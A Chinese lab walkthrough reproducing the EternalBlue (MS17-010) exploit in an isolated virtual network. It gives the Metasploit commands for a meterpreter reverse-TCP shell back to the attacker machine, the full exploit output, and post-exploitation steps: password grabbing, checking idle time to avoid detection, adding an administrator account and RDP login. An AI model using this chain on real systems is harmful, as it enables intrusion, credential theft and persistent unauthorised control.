永恒之蓝渗漏洞复现:原理详解+环境搭建+渗透实战(CVE-2017-0144)

目录

一、永恒之蓝

1、漏洞简介

2、漏洞原理

(1)漏洞根源:缓冲区溢出

(2)内核内存的越界写入

(3)精妙的利用:从溢出到代码执行

(4)权限提升与载荷部署

3、攻击链条

二、环境搭建

1、受影响的操作系统

2、拓扑搭建

3、确保靶机防火墙关闭

4、确保靶机的更新关闭

三、漏洞探测

1、探测445端口是否开启

2、nmap探测永恒之蓝漏洞

四、渗透实战

1、msfconsole

2、查找ms17-010

3、漏洞扫描

4、ms17-010渗透

5、确认配置

6、开启攻击

五、后渗透实战

1、显示靶机系统信息

2、查看用户身份

3、屏幕截图

4、查看ip地址

5、开启远程桌面

6、查看空闲时间

7、抓取密码

8、获取webshell

(1)进入shell界面

(2)消除乱码

(3)新建管理员账户

(4)远程桌面连接靶机


本文详细介绍了利用永恒之蓝(MS17-010)漏洞进行渗透测试的全过程。首先说明永恒之蓝是影响Windows SMBv1协议的高危漏洞,可导致远程代码执行。测试步骤包括:1)搭建靶机环境(关闭防火墙和更新);2)使用nmap探测445端口和漏洞;3)通过MSF框架加载攻击模块,配置并执行渗透;4)成功后进行后渗透操作,包括获取系统信息、创建管理员账户、远程桌面连接等。文中提供了完整的命令操作流程和原理说明,展示了从漏洞扫描到完全控制靶机的完整攻击链。渗透拓扑如下所示。

组件 角色 IP 地址 操作系统 关键服务/软件 说明
Kali Linux 攻击机 192.168.59.128 Kali Linux Metasploit, Nmap 用于发起MS17-010漏洞攻击。
Windows Server 靶机 192.168.59.144 Windows Server (未打补丁) SMBv1 服务 存在永恒之蓝漏洞,开放445端口。
虚拟网络 攻击链路 192.168.59.0/24 VMware/Hyper-V 虚拟网络 - 隔离的网络环境,确保攻击不会影响到外部真实网络。

一、永恒之蓝

1、漏洞简介

"永恒之蓝"(EternalBlue)是一个利用微软Windows系统SMBv1协议MS17-010漏洞 的远程代码执行攻击工具。它最初由美国国家安全局(NSA)开发,在2017年4月被黑客组织"影子经纪人"(Shadow Brokers)泄露,随后被用于全球性的大规模网络攻击,例如同年5月爆发的WannaCry勒索病毒事件

项目 详细说明
漏洞名称 永恒之蓝 (EternalBlue)
官方编号 MS17-010
漏洞类型 远程代码执行 (Remote Code Execution)
影响协议 SMBv1 (服务器消息块协议版本 1)
风险等级 高危 / 严重
影响范围 Windows NT 系列操作系统,包括 Windows XP, 7, 8, Server 2003, 2008, 2012 等
利用端口 TCP 445
核心原理 利用 SMBv1 协议特制请求时的缓冲区溢出漏洞,攻击者无需用户名密码即可远程控制目标
主要危害 1. 系统完全被控 :获取系统级最高权限。 2. 蠕虫式传播 :可在内网中自我复制传播。 3. 植入恶意软件:如勒索病毒、挖矿木马、后门等。
著名事件 WannaCry 勒索病毒、NotPetya 勒索病毒
防护措施 1. 安装补丁 :及时安装微软官方发布的 MS17-010 补丁。 2. 关闭端口 :在防火墙禁用 135、139、445 端口的外部访问。 3. 升级协议:禁用老旧的 SMBv1 协议,升级至 SMBv2 或 v3。

2、漏洞原理

永恒之蓝的本质是一个 SMBv1 协议中的远程代码执行漏洞

(1)漏洞根源:缓冲区溢出

漏洞存在于 Windows SMBv1 服务器的 srv.sys 内核驱动文件中。具体位置在处理 SMBv1 的 Trans2 二次请求 时。

  • 正常情况:客户端请求数据时,会告知服务器缓冲区大小,服务器根据这个大小来分配和拷贝内存。

  • 漏洞情况 :攻击者可以在一个数据包中,谎报 实际数据量(比如声称数据量很小),但实际发送的数据量却很大。由于缺乏严格的边界检查,srv.sys 会将这些过量的数据拷贝到内核中一个分配好的、但尺寸不足的缓冲区里。

(2)内核内存的越界写入

这导致了 内核级的缓冲区溢出。多余的数据会覆盖缓冲区之后的内核内存空间。这部分被覆盖的内存原本存储着其他重要的数据或代码。

(3)精妙的利用:从溢出到代码执行

单纯让系统崩溃(蓝屏)是简单的,但实现远程代码执行是复杂的。永恒之蓝的精妙之处在于它如何精准控制这一溢出过程:

  • 精心构造的溢出数据:攻击者发送的数据包中,溢出部分不是随机数据,而是精心编排的:

    • Shellcode:一小段用于执行最终目标的机器代码。

    • 内存布局操控数据:用于引导系统执行流跳转到攻击者的 Shellcode。

  • 利用内存池的可预测性 :Windows 内核使用一种叫 内存池 的机制来管理内存。永恒之蓝通过多次发送特定大小的SMB数据包,来"塑造"内核内存池的布局,使其变得相对可预测。这确保了当溢出发生时,溢出数据会覆盖到一个已知且有用的位置。

  • 函数指针覆盖 :一种常见的技术是覆盖一个 函数指针返回地址。当内核后续需要调用这个函数时,它实际上跳转到了被攻击者覆盖的地址,从而开始执行攻击者的 Shellcode。

(4)权限提升与载荷部署

  • 权限 :由于漏洞发生在内核层(Ring 0),成功利用后获得代码执行权限是 系统最高权限

  • 载荷:攻击者预先准备好的 Shellcode 通常会执行以下操作:

    • 在目标系统上创建一个新的系统进程。

    • 从攻击者的机器下载并运行真正的恶意载荷(例如:后门程序、Meterpreter 等)。

    • 这个后门程序通常以最高权限运行,从而完全控制目标机器。

3、攻击链条

步骤 关键动作 结果
1. 侦察 扫描开放 445 端口的 Windows 机器。 发现潜在目标。
2. 触发 发送特殊构造的 SMBv1 Trans2 请求数据包。 触发 srv.sys 中的缓冲区溢出漏洞。
3. 利用 溢出数据覆盖内核内存,控制程序执行流。 跳转并执行攻击者的 Shellcode。
4. 执行 Shellcode 以 SYSTEM 权限运行,加载最终载荷。 目标系统被完全控制。

二、环境搭建

1、受影响的操作系统

永恒之蓝(MS17-010)漏洞影响范围非常广泛,涵盖了当时几乎所有主流的 Windows 操作系统版本。以下是受影响的存在漏洞的操作系统 列表,在2017年3月之前发布且未及时安装MS17-010补丁的Windows系统,几乎全部暴露在永恒之蓝漏洞的威胁之下。

操作系统系列 具体版本
Windows NT Windows NT 4.0
Windows 2000 所有版本
Windows XP 所有版本(包括 x64 和 Embedded)
Windows Vista 所有版本
Windows Server 2003 所有版本(包括 R2)
Windows 7 Windows 7 SP1 及之前的所有版本
Windows Server 2008 所有版本(包括 R2,SP1 及之前)
Windows 8 所有版本
Windows 8.1 所有版本
Windows Server 2012 所有版本(包括 R2)
Windows 10 2017年3月之前发布的版本(包括初版、1511、1607)
Windows Server 2016 2017年3月之前发布的初始版本

2、拓扑搭建

本文使用的渗透环境由攻击机Kali Linux(192.168.59.128)和靶机Windows Server(192.168.59.144)组成。两台主机均接入同一虚拟子网(192.168.59.0/24),如下所示。

角色 系统 IP地址 关键配置
攻击机 Kali Linux 192.168.59.128 安装Metasploit框架
靶机 Windows Server 192.168.59.144 开启445端口,未打MS17-010补丁
  • 网络环境 :攻击机(Kali Linux)和靶机(Windows Server)位于同一个虚拟子网(192.168.59.0/24)中,这意味着它们之间是网络可达的,可以直接相互通信。

  • 攻击路径 :攻击流程将从Kali Linux(192.168.59.128)发起,目标指向Windows Server(192.168.59.144)的445端口

  • 连通性验证 :在开始攻击前,可以使用 ping 命令验证两台主机之间的网络连通性:

    • Kali 上执行:ping 192.168.59.144

    • Windows Server 上执行:ping 192.168.59.128

3、确保靶机防火墙关闭

本文使用windows server 2008R2进行漏洞复现,靶机安装好后首先关闭防火墙,如下所示。

4、确保靶机的更新关闭

为了确保漏洞被成功复现,还需要关闭更新,只有没有安装MS17-010 安全补丁的系统才可以复现永恒之蓝漏洞。

MS17-010 漏洞的补丁号不是单一的,它根据不同的 Windows 操作系统版本对应着不同的补丁编号,以下是主要的补丁号列表,可以通过打开 控制面板 > 程序和功能 > 查看已安装的更新判断是否已经打补丁

操作系统版本 补丁编号 (KB)
Windows 7 / Windows Server 2008 R2 KB4012212KB4012215
Windows 8.1 / Windows Server 2012 R2 KB4012213KB4012216
Windows 10 (初版, 1507) KB4012606
Windows 10 (1511) KB4013198
Windows 10 (1607) KB4013429
Windows Server 2016 KB4013429
Windows Server 2012 KB4012214KB4012217

三、漏洞探测

1、探测445端口是否开启

使用nmap命令探测靶机445端口是否开启,如下所示,靶机存在445端口开启的问题,可能存在永恒之蓝漏洞,如果此步骤失败,说明你得靶机环境搭建出现问题,很大可能是防火墙没关闭或者打了补丁,需要重新搭建环境。

2、nmap探测永恒之蓝漏洞

使用nmap --script=vuln 192.168.59.144探测漏洞, 运行所有与漏洞检测相关的 Nmap 脚本,如下所示靶机上扫到了4个漏洞,其中包括了MS17-010。

  • --script=vuln:启用所有分类为"漏洞"的 NSE 脚本

  • 192.168.59.144:目标靶机 IP 地址

四、渗透实战

1、msfconsole

攻击机使用msconsole启动MSF模块,如下所示。

2、查找ms17-010

Ms17-010为永恒之蓝攻击模块名称,使用search ms17-010查找,具体如下所示。

3、漏洞扫描

使用use 0进入永恒之蓝扫描模块,并展示配置选项,如下所示。

使用set rhosts 192.168.59.144设置靶机的ip地址为攻击目标,如下所示。

执行run或者exploit进行渗透,如下所示探测到存在永恒之蓝漏洞,如下所示。

4、ms17-010渗透

使用use 0进行ms17-010漏洞渗透,具体配置如下所示。

复制代码
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set RHOST 192.168.59.144
set LHOST 192.168.59.128
set RPORT 445
  • set payload :设置payload,这里用set payload windows/x64/meterpreter/reverse_tcp
  • set RHOST 目标主机地址 :该命令会设置好要攻击的目标主机地址
  • set LHOST 攻击机地址 :该命令设置攻击机的地址,使目标主机回连至攻击机
  • set LPORT 回连的端口 :该命令设置目标主机回连至攻击机的端口,默认为4444

5、确认配置

执行完毕后通过show options查询配置,目标靶机的 ip 地址为 192.168.59.144 ,端口号为 445 ,与配置一致,攻击的机器ip 地址为 192.168.59.128,与配置一致,如下所示配置无误。

6、开启攻击

执行run或者exploit进行渗透,如下所示渗透成功,如下所示。

完整的渗透输出如下所示。

复制代码
完整内容如下所示:
[*] Started reverse TCP handler on 192.168.59.128:4444                                                                                                                    
[*] 192.168.59.144:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check                                                                                                
[+] 192.168.59.144:445    - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (64-bit)                                   
[*] 192.168.59.144:445    - Scanned 1 of 1 hosts (100% complete)                                                                                                          
[+] 192.168.59.144:445 - The target is vulnerable.                                                                                                                        
[*] 192.168.59.144:445 - Connecting to target for exploitation.                                                                                                           
[+] 192.168.59.144:445 - Connection established for exploitation.                                                                                                         
[+] 192.168.59.144:445 - Target OS selected valid for OS indicated by SMB reply                                                                                           
[*] 192.168.59.144:445 - CORE raw buffer dump (53 bytes)                                                                                                                  
[*] 192.168.59.144:445 - 0x00000000  57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32  Windows Server 2                                                                    
[*] 192.168.59.144:445 - 0x00000010  30 30 38 20 52 32 20 44 61 74 61 63 65 6e 74 65  008 R2 Datacente                                                                    
[*] 192.168.59.144:445 - 0x00000020  72 20 37 36 30 31 20 53 65 72 76 69 63 65 20 50  r 7601 Service P
[*] 192.168.59.144:445 - 0x00000030  61 63 6b 20 31                                   ack 1           
[+] 192.168.59.144:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.59.144:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.59.144:445 - Sending all but last fragment of exploit packet
[*] 192.168.59.144:445 - Starting non-paged pool grooming
[+] 192.168.59.144:445 - Sending SMBv2 buffers
[+] 192.168.59.144:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.59.144:445 - Sending final SMBv2 buffers.
[*] 192.168.59.144:445 - Sending last fragment of exploit packet!
[*] 192.168.59.144:445 - Receiving response from exploit packet
[+] 192.168.59.144:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.59.144:445 - Sending egg to corrupted connection.
[*] 192.168.59.144:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 192.168.59.144
[*] Meterpreter session 1 opened (192.168.59.128:4444 -> 192.168.59.144:49160) at 2024-05-07 02:17:29 +0800
[+] 192.168.59.144:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.59.144:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.59.144:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

五、后渗透实战

1、显示靶机系统信息

2、查看用户身份

3、屏幕截图

此时打开kali,此图片如下所示。

4、查看ip地址

5、开启远程桌面

6、查看空闲时间

使用idletime查看idle时间,此命令一般配合查看远程用户的空闲时长,空闲时间长再进行远程登陆,减小被发现的风险。登录rdp会把对方顶掉。

7、抓取密码

8、获取webshell

(1)进入命令行环境

在Meterpreter会话中直接输入 shell 即可切换到目标系统的命令行环境(如Windows的cmd或Linux的bash),从而执行原生系统命令。

(2)消除乱码

执行chcp 65001命令, 将Windows命令提示符的字符编码设置为UTF-8,解决多语言文本(如中文、日文、特殊符号)显示乱码的问题,确保终端能正确渲染Unicode字符,避免程序输出或文件内容因编码不匹配而显示异常。其原理是将Windows控制台的字符编码从默认的本地代码页切换到UTF-8编码,从而支持全球字符集和特殊符号显示。

  • chcp:Change Code Page(更改代码页)

  • 65001:UTF-8 编码的代码页编号

(3)新建管理员账户

我们通过先创建普通用户,再将其加入管理员组来新疆管理员账户,具体命令如下所示。

复制代码
net user 用户名 密码 /add
net localgroup administrators 用户名 /add
  • 使用net user 用户名 密码 /add 创建一个新的本地用户账户。其中"用户名"指定账户名称,"密码"设置登录密码,/add 参数表示执行添加操作。该命令仅创建普通用户,权限有限。
  • 使用net localgroup administrators 用户名 /add 将指定用户提升为管理员权限的命令。它将用户添加到系统的"administrators"本地组中,使其获得完全的系统控制权,包括安装软件、修改系统设置、管理其他用户等高级权限。

(4)远程桌面连接靶机

创建好管理员用户后,使用rdesktop连接靶机的远程桌面,如下所示。

输入刚刚新建的用户名和密码,并点击登录,如下所示成功登录远程桌面。

相关推荐
mooyuan天天8 天前
永恒之蓝内网横向渗透:原理详解+telnet法渗透实践(CVE-2017-0144)
ms17-010·永恒之蓝·cve-2017-0144
独行soc1 年前
#渗透测试#红蓝攻防#HW#漏洞挖掘#漏洞复现02-永恒之蓝漏洞
测试工具·安全·渗透测试·脚本·漏洞挖掘·永恒之蓝